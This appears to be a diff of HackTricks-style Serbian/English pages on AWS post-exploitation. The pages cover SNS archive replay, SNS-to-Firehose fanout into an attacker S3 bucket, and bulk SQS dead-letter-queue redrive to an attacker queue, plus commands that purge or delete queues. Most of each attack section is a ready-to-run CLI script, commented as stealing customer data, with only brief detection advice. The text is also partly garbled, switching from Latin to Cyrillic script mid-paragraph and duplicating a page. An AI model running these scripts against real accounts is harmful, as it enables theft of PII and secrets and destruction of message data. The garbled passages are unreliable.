+--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
+--query TopicArn --output text)
+
+echo "Topic: $TOPIC_ARN"
+
+# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
+for i in $(seq 1 3); do
+aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
+--message-group-id g1 >/dev/null
+done
+
+# 3) Create attacker SQS FIFO queue and allow only this topic to send
+Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
+--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
+--attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+cat > /tmp/ht-replay-sqs-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
+JSON
+# Use CLI input JSON to avoid quoting issues
+aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
+import json, os
+print(json.dumps({
+'QueueUrl': os.environ['Q_URL'],
+'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
+}))
+PY
+)"
+
+# 4) Subscribe the queue to the topic
+SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+
+echo "Subscription: $SUB_ARN"
+
+# 5) Ensure StartingPoint is >= BeginningArchiveTime
+BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
+START=${TS_START}
+if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
+
+aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
+--attribute-name ReplayPolicy \
+--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
+
+# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
+aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
+--max-number-of-messages 10 --wait-time-seconds 10 \
+--message-attribute-names All --attribute-names All
+```
+</details>
+
+## Uticaj
+**Potencijalni uticaj**: Napadač koji može да се претплати на SNS FIFO topic са омогућеним архивирањем и да подеси `ReplayPolicy` на својој претплати може одмах да изврши replay и exfiltrate историјске поруке објављене на тој topic, не само поруке послате након креирања претплате. Достављене поруке укључују `Replayed=true` заставицу у SNS envelope.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md

@@ -0,0 +1,76 @@
+# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Iskoristite Firehose subscription protocol da registrujete attacker-controlled Kinesis Data Firehose delivery stream na žrtvinom SNS standard topic-u. Kada je subscription uspostavljen i potrebna IAM role veruje `sns.amazonaws.com`, svaka buduća notifikacija se trajno zapisuje u attacker-ov S3 bucket uz minimalni šum.
+
+## Zahtevi
+- Dozvole na nalogu napadača za kreiranje S3 bucket-a, Firehose delivery stream-a i IAM role koje koristi Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, itd.).
+- Mogućnost da se `sns:Subscribe` na žrtvin topic (i opciono `sns:SetSubscriptionAttributes` ako je subscription role ARN dodeljen nakon kreiranja).
+- Topic policy koja omogućava attacker principal-u da se pretplati (ili napadač već deluje u istom nalogu).
+
+## Koraci napada (primer u istom nalogu)
+```bash
+REGION=us-east-1
+ACC_ID=$(aws sts get-caller-identity --query Account --output text)
+SUFFIX=$(date +%s)
+
+# 1) Create attacker S3 bucket and Firehose delivery stream
+ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
+aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
+
+STREAM_NAME=ht-firehose-stream-$SUFFIX
+FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
+
+# Role Firehose assumes to write into the bucket
+aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/firehose-s3-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
+JSON
+aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
+
+aws firehose create-delivery-stream \
+--delivery-stream-name "$STREAM_NAME" \
+--delivery-stream-type DirectPut \
+--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
+--region $REGION >/dev/null
+
+# 2) IAM role SNS assumes when delivering into Firehose
+SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
+aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/allow-firehose.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
+JSON
+aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
+
+SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
+
+# 3) Subscribe Firehose to the victim topic
+TOPIC_ARN=<VICTIM_TOPIC_ARN>
+aws sns subscribe \
+--topic-arn "$TOPIC_ARN" \
+--protocol firehose \
+--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
+--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
+--region $REGION
+
+# 4) Publish test message and confirm arrival in S3
+aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
+sleep 90
+aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
+```
+## Čišćenje
+- Obrišite SNS subscription, Firehose delivery stream, privremene IAM roles/policies i attacker S3 bucket.
+
+## Uticaj
+**Potencijalni uticaj**: Kontinuirano i trajno exfiltration svake poruke objavljene na ciljani SNS topic u attacker-controlled storage, uz minimalan operativni otisak.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -0,0 +1,150 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+## Description
+
+Iskoristite SQS message move tasks da biste ukrali sve akumulirane poruke iz žrtvinog Dead-Letter Queue (DLQ) preusmeravanjem u red koji kontroliše napadač koristeći `sqs:StartMessageMoveTask`. Ova tehnika zloupotrebljava legitimnu AWS funkciju za oporavak poruka kako bi se eksfiltrirali osetljivi podaci koji su se vremenom nakupili u DLQ-ovima.
+
+## What is a Dead-Letter Queue (DLQ)?
+
+A Dead-Letter Queue je specijalan SQS queue u koji se poruke automatski šalju kada se ne uspešno obrade u glavnoj aplikaciji. Ove neuspele poruke često sadrže:
+- Osetljive podatke aplikacije koji nisu mogli biti obrađeni
+- Detalje o greškama i informacije za debug
+- Personal Identifiable Information (PII)
+- API tokene, kredencijale ili druge tajne
+- Poslovno kritične podatke o transakcijama
+
+DLQ-ovi funkcionišu kao "groblje" za neuspele poruke, što ih čini vrednim metama jer se vremenom u njima akumuliraju osetljivi podaci koje aplikacije nisu mogle ispravno obraditi.
+
+## Attack Scenario
+
+**Real-world example:**
+1. **E-commerce application** obrađuje porudžbine kupaca kroz SQS
+2. **Neke porudžbine zakažu** (problemi sa plaćanjem, zalihe, itd.) i budu premeštene u DLQ
+3. **DLQ akumulira** nedelje/meseci neuspelih porudžbina koje sadrže podatke o kupcima: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Napadač dobija pristup** AWS credential-ima sa SQS dozvolama
+5. **Napadač otkriva** da DLQ sadrži hiljade neuspelih porudžbina sa osetljivim podacima
+6. **Umesto pokušaja pristupa pojedinačnim porukama** (sporo i očigledno), napadač koristi `StartMessageMoveTask` da u bulk-u prebaci SVE poruke u sopstveni queue
+7. **Napadač izvuče** sve istorijske osetljive podatke u jednoj operaciji
+
+## Requirements
+- Izvorni queue mora biti konfigurisан kao DLQ (referenciran od strane bar jednog queue RedrivePolicy).
+- IAM permissions (izvodi se kao kompromitovani žrtvin principal):
+- Na DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- Na destination queue: dozvola za dostavljanje poruka (npr. queue policy koja dozvoljava `sqs:SendMessage` od žrtvinog principala). Za destinacije u istom nalogu ovo je obično po defaultu dozvoljeno.
+- Ako je SSE-KMS omogućen: na source CMK `kms:Decrypt`, i na destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Impact
+Exfiltrate osetljive payload-e akumulirane u DLQ-ovima (neuspešni eventi, PII, tokeni, payload-i aplikacija) velikom brzinom koristeći native SQS API-je. Radi cross-account ako destination queue policy dozvoljava `SendMessage` od žrtvinog principala.
+
+## How to Abuse
+
+- Identifikujte ARN žrtvinog DLQ-a i uverite se da je zaista referenciran kao DLQ od strane nekog queue-a (bilo koji queue je dovoljan).
+- Kreirajte ili izaberite destination queue pod kontrolom napadača i dobijte njegov ARN.
+- Pokrenite message move task sa žrtvinog DLQ-a na vaš destination queue.
+- Pratite napredak ili otkažite po potrebi.
+
+### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+
+**Scenario**: Napadač je kompromitovao AWS kredencijale i otkrio da e-commerce aplikacija koristi SQS sa DLQ-om koji sadrži neuspešne pokušaje obrade porudžbina kupaca.
+
+1) **Discover and examine the victim DLQ**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Kreirajte destinacijsku queue pod kontrolom napadača**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Izvršite masovnu krađu poruka**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Prikupite ukradene osetljive podatke**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Napomene o Cross-account
+- Odredišna queue mora imati resource policy koji omogućava victim principal-u da `sqs:SendMessage` (i, ako se koristi, KMS grants/permissions).
+
+## Zašto je ovaj napad efikasan
+
+1. **Legitimate AWS Feature**: Koristi ugrađenu AWS funkcionalnost, zbog čega je teško otkriti kao zlonamerno
+2. **Bulk Operation**: Premešta hiljade poruka brzo umesto sporog pojedinačnog pristupa
+3. **Historical Data**: DLQs akumuliraju osetljive podatke tokom nedelja/meseci
+4. **Under the Radar**: Mnoge organizacije ne prate pristup DLQ-ovima pažljivo
+5. **Cross-Account Capable**: Može exfiltrate u napadačev sopstveni AWS nalog ako su dozvole omogućene
+
+## Detekcija i prevencija
+
+### Detekcija
+Pratite CloudTrail zbog sumnjivih `StartMessageMoveTask` API poziva:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Prevencija
+1. **Least Privilege**: Ograničiti `sqs:StartMessageMoveTask` dozvole samo na neophodne role
+2. **Monitor DLQs**: Podesiti CloudWatch alarme za neobičnu aktivnost DLQs
+3. **Cross-Account Policies**: Pažljivo pregledati SQS queue policies koje omogućavaju cross-account pristup
+4. **Encrypt DLQs**: Koristiti SSE-KMS sa ograničenim politikama ključeva
+5. **Regular Cleanup**: Ne dozvoljavati da se osetljivi podaci neograničeno akumuliraju u DLQs

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md

@@ -1,73 +0,0 @@
-# AWS - SQS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
-
-Napadač bi mogao poslati zlonamerne ili neželjene poruke u SQS red, što bi moglo izazvati oštećenje podataka, pokrenuti neželjene radnje ili iscrpiti resurse.
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-**Potencijalni uticaj**: Iskorišćavanje ranjivosti, korupcija podataka, nepredviđene radnje ili iscrpljivanje resursa.
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-Napadač bi mogao da primi, obriše ili izmeni vidljivost poruka u SQS redu, uzrokujući gubitak poruka, korupciju podataka ili prekid usluge za aplikacije koje se oslanjaju na te poruke.
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-**Potencijalni uticaj**: Ukrasti osetljive informacije, gubitak poruka, oštećenje podataka i prekid usluge za aplikacije koje se oslanjaju na pogođene poruke.
-
-### `sqs:DeleteQueue`
-
-Napadač bi mogao da obriše celu SQS red, uzrokujući gubitak poruka i utičući na aplikacije koje se oslanjaju na red.
-```arduino
-Copy codeaws sqs delete-queue --queue-url <value>
-```
-**Potencijalni uticaj**: Gubitak poruka i prekid usluge za aplikacije koje koriste obrisanu red.
-
-### `sqs:PurgeQueue`
-
-Napadač bi mogao da očisti sve poruke iz SQS reda, što bi dovelo do gubitka poruka i potencijalnog prekida aplikacija koje se oslanjaju na te poruke.
-```arduino
-Copy codeaws sqs purge-queue --queue-url <value>
-```
-**Potencijalni uticaj**: Gubitak poruka i prekid usluge za aplikacije koje se oslanjaju na obrisane poruke.
-
-### `sqs:SetQueueAttributes`
-
-Napadač bi mogao da izmeni atribute SQS reda, što bi potencijalno moglo uticati na njegovu performansu, bezbednost ili dostupnost.
-```arduino
-aws sqs set-queue-attributes --queue-url <value> --attributes <value>
-```
-**Potencijalni uticaj**: Loše konfiguracije koje dovode do smanjenja performansi, bezbednosnih problema ili smanjene dostupnosti.
-
-### `sqs:TagQueue` , `sqs:UntagQueue`
-
-Napadač bi mogao da doda, izmeni ili ukloni oznake sa SQS resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
-```bash
-aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
-aws sqs untag-queue --queue-url <value> --tag-keys <key>
-```
-**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama.
-
-### `sqs:RemovePermission`
-
-Napadač bi mogao da opozove dozvole za legitimne korisnike ili usluge uklanjanjem politika povezanih sa SQS redom. To bi moglo dovesti do poremećaja u normalnom funkcionisanju aplikacija koje se oslanjaju na red.
-```arduino
-arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
-```
-**Potencijalni uticaj**: Poremećaj normalnog funkcionisanja aplikacija koje se oslanjaju na red zbog neovlašćenog uklanjanja dozvola.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md

@@ -0,0 +1,83 @@
+# AWS - SQS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+Napadač bi mogao poslati maliciozne ili neželjene poruke u SQS queue, što bi moglo dovesti do oštećenja podataka, pokretanja neželjenih akcija ili iscrpljivanja resursa.
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+**Potencijalni uticaj**: iskorišćavanje ranjivosti, oštećenje podataka, neželjene radnje, ili iscrpljivanje resursa.
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+Napadač bi mogao da primi, izbriše ili izmeni vidljivost poruka u SQS queue-u, što može prouzrokovati gubitak poruka, oštećenje podataka ili prekid usluge za aplikacije koje se oslanjaju na te poruke.
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+**Potencijalni uticaj**: Krađa osetljivih informacija, gubitak poruka, oštećenje podataka i prekid usluge za aplikacije koje se oslanjaju na pogođene poruke.
+
+### `sqs:DeleteQueue`
+
+An attacker bi mogao izbrisati celu SQS queue, što bi dovelo do gubitka poruka i uticalo na aplikacije koje se oslanjaju na tu queue.
+```bash
+aws sqs delete-queue --queue-url <value>
+```
+**Potencijalni uticaj**: gubitak poruka i prekid rada servisa za aplikacije koje koriste izbrisani SQS queue.
+
+### `sqs:PurgeQueue`
+
+Napadač bi mogao isprazniti sve poruke iz SQS queue, što bi dovelo do gubitka poruka i mogućeg prekida rada aplikacija koje se oslanjaju na te poruke.
+```bash
+aws sqs purge-queue --queue-url <value>
+```
+**Potencijalni uticaj**: Gubitak poruka i prekid usluge za aplikacije koje zavise od izbrisanih poruka.
+
+### `sqs:SetQueueAttributes`
+
+Napadač bi mogao izmeniti atribute SQS queue-a, što bi potencijalno uticalo na njegovu performansu, bezbednost ili dostupnost.
+```bash
+aws sqs set-queue-attributes --queue-url <value> --attributes <value>
+```
+**Potencijalni uticaj**: Pogrešne konfiguracije koje mogu dovesti do smanjenja performansi, bezbednosnih problema ili smanjene dostupnosti.
+
+### `sqs:TagQueue` , `sqs:UntagQueue`
+
+Napadač može dodati, izmeniti ili ukloniti tagove sa SQS resursa, što može ometati dodelu troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na tagovima.
+```bash
+aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
+aws sqs untag-queue --queue-url <value> --tag-keys <key>
+```
+**Potencijalni uticaj**: Poremećaj raspodele troškova, praćenja resursa i politika kontrole pristupa zasnovanih na tagovima.
+
+### `sqs:RemovePermission`
+
+Napadač bi mogao opozvati dozvole za legitimne korisnike ili servise uklanjanjem politika povezanih sa SQS queue-om. To može dovesti do poremećaja u normalnom radu aplikacija koje se oslanjaju na SQS queue.
+```bash
+aws sqs remove-permission --queue-url <value> --label <value>
+```
+**Mogući uticaj**: Poremećaj normalnog rada aplikacija koje zavise od reda poruka zbog neovlašćenog uklanjanja dozvola.
+
+### Više SQS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sqs-dlq-redrive-exfiltration.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-sns-injection.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -0,0 +1,154 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Opis
+
+Iskoristite SQS message move tasks da ukradete sve akumulirane poruke iz žrtvinog Dead-Letter Queue (DLQ) preusmeravanjem u red koji kontroliše napadač koristeći `sqs:StartMessageMoveTask`. Ova tehnika zloupotrebljava legitimnu AWS funkciju za oporavak poruka kako bi exfiltrate osetljive podatke koji su se tokom vremena nagomilali u DLQ.
+
+## Šta je Dead-Letter Queue (DLQ)?
+
+Dead-Letter Queue je poseban SQS red u koji se poruke automatski šalju kada glavna aplikacija ne uspe da ih uspešno obradi. Te neuspešne poruke često sadrže:
+- Osetljive podatke iz aplikacije koji nisu mogli biti obrađeni
+- Detalje o greškama i informacije za debug
+- Lične identifikacione podatke (PII)
+- API tokene, kredencijale ili druge tajne
+- Poslovno-kritične transakcione podatke
+
+DLQ-ovi funkcionišu kao "groblje" za neuspele poruke, zbog čega su vredne mete — akumuliraju osetljive podatke tokom vremena koje aplikacija nije uspevala da procesuira.
+
+## Scenario napada
+
+**Real-world example:**
+1. **E-commerce application** obrađuje porudžbine kupaca preko SQS
+2. **Neke porudžbine ne uspeju** (problemi sa plaćanjem, zalihe, itd.) i budu premeštene u DLQ
+3. **DLQ se nagomilava** nedeljama/mesecima sa neuspelim porudžbinama koje sadrže podatke kupaca: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Attacker gains access** do AWS kredencijala sa SQS dozvolama
+5. **Attacker otkriva** da DLQ sadrži hiljade neuspelih porudžbina sa osetljivim podacima
+6. **Umesto pokušaja pristupa pojedinačnim porukama** (sporo i očigledno), napadač koristi `StartMessageMoveTask` da masovno prebaci SVE poruke u svoj red
+7. **Attacker izvlači** sve istorijske osetljive podatke u jednoj operaciji
+
+## Zahtevi
+- Izvorni red mora biti konfigurisan kao DLQ (referenciran bar od strane jednog RedrivePolicy na nekom redu).
+- IAM dozvole (izvršava se kao kompromitovani nalog žrtve):
+- Na DLQ (izvor): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- Na destinacionom redu: dozvola za isporuku poruka (npr. queue policy koji dozvoljava `sqs:SendMessage` od žrtvinog principala). Za destinacije u istom nalogu ovo je obično dozvoljeno podrazumevano.
+- Ako je omogućen SSE-KMS: na izvornoj CMK `kms:Decrypt`, i na destinacionoj CMK `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Uticaj
+**Potencijalni uticaj**: Exfiltrate sensitive payloads akumulirane u DLQ-ovima (neuspešni događaji, PII, tokeni, payloadi aplikacije) velikom brzinom koristeći native SQS API-je. Radi cross-account ako policy destinacionog reda dozvoljava `SendMessage` od žrtvinog principala.
+
+## Kako zloupotrebiti
+
+- Identifikujte ARN žrtvinog DLQ i uverite se da je zaista referenciran kao DLQ od strane nekog reda (bilo koji red je dovoljan).
+- Kreirajte ili izaberite red koji kontroliše napadač i dobijte njegov ARN.
+- Pokrenite message move task sa žrtvinog DLQ-a ka vašem destinacionom redu.
+- Pratite napredak ili otkažite zadatak po potrebi.
+
+### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+
+**Scenario**: Napadač je kompromitovao AWS kredencijale i otkrio da e-commerce aplikacija koristi SQS sa DLQ-om koji sadrži neuspešne pokušaje obrade porudžbina kupaca.
+
+1) **Discover and examine the victim DLQ**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Kreirajte attacker-controlled destination queue**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Izvršite masovnu krađu poruka**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Sakupite ukradene osetljive podatke**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Napomene za Cross-account
+- Ciljna queue mora imati resource policy koji dozvoljava victim principal-u da izvrši `sqs:SendMessage` (i, ako se koristi, KMS grants/permissions).
+
+## Zašto je ovaj napad efikasan
+
+1. **Legitiman AWS feature**: Koristi ugrađenu AWS funkcionalnost, što otežava otkrivanje kao maliciozno
+2. **Masovna operacija**: Prebacuje hiljade poruka brzo umesto sporog pojedinačnog pristupa
+3. **Istorijski podaci**: DLQs akumuliraju osetljive podatke tokom nedelja/meseci
+4. **Ispod radara**: Mnoge organizacije ne prate pristup DLQ-ovima pažljivo
+5. **Cross-Account Capable**: Može exfiltrate u napadačev sopstveni AWS nalog ako dozvole to omogućavaju
+
+## Detekcija i prevencija
+
+### Detekcija
+Pratite CloudTrail za sumnjive `StartMessageMoveTask` API pozive:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Prevencija
